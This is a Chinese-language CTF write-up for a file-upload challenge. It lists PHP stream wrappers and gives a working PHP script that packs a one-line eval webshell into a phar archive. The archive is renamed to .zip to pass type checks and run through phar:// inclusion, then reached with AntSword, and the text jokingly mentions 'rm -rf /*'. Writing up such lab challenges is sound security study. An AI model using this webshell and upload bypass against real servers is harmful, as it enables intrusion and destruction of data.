POC
分析这题之前先学一下总结一下PHP的伪协议
[Web安全]PHP伪协议
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- php:// — 访问各个输入/输出流(I/O streams)
- zlib:// — 压缩流
- data:// — 数据(RFC 2397)
- glob:// — 查找匹配的文件路径模式
- phar:// — PHP 归档
- ssh2:// — Secure Shell 2
- rar:// — RAR
- ogg:// — 音频流
- expect:// — 处理交互式的流
具体信息请访问WEB/PHP/PHP伪协
构造phar
直接套(参考各大网站
<?php
$payload = '<?php eval($_POST["shell"]); ?>' //一句话木马
$phar = new Phar("example.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString("67.php", "$payload"); //添加要压缩的文件
// $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
$phar->stopBuffering();
?>
生成了example.phar,里面的payload.php里就写了一句话木马
绕过类型检测
这个冰墩墩有点挑,只喜欢压缩包和图片,那就用zip处理吧
将example.phar重命名为example.zip,上传成功,返回如下信息:
/var/www/html\/xxxxxxxxxxxxxxxxxxxxxxxx.zip 成功上传了冰墩墩喜爱的文件,然后呢?
自由发挥(雾)
然后你需要观察,可以看到在打开靶机后,有个upload超链接,点进去发现url加上了一个参数“bingdundun”,如下:
- http://1.14.71.254:xxxxx/?bingdundun=upload
好了,把我们刚才传上去的文件连AntSword用phar一顿乱日吧:
http://1.14.71.254:xxxxx/?bingdundun=phar://xxxxxxxxxxxxxxxxxxxxxxxx.zip/67
你可能会问:
- 为什么是67而不是67.php?因为他会自动给我们加上,所以不要慌
- phar伪协议解析zip?非也,phar伪协议只认phar文件特征(stub等),后缀是给人看的
- 67.php怎么来的? 构造phar时压进去的,参考前文代码
AntSword连这个链接,密码shell,根目录找到flag,出了
至于为什么叫 自由发挥 ,前面构造phar的时候你完全可以写自己的代码上去(把它rm -rf /*都可以(逃)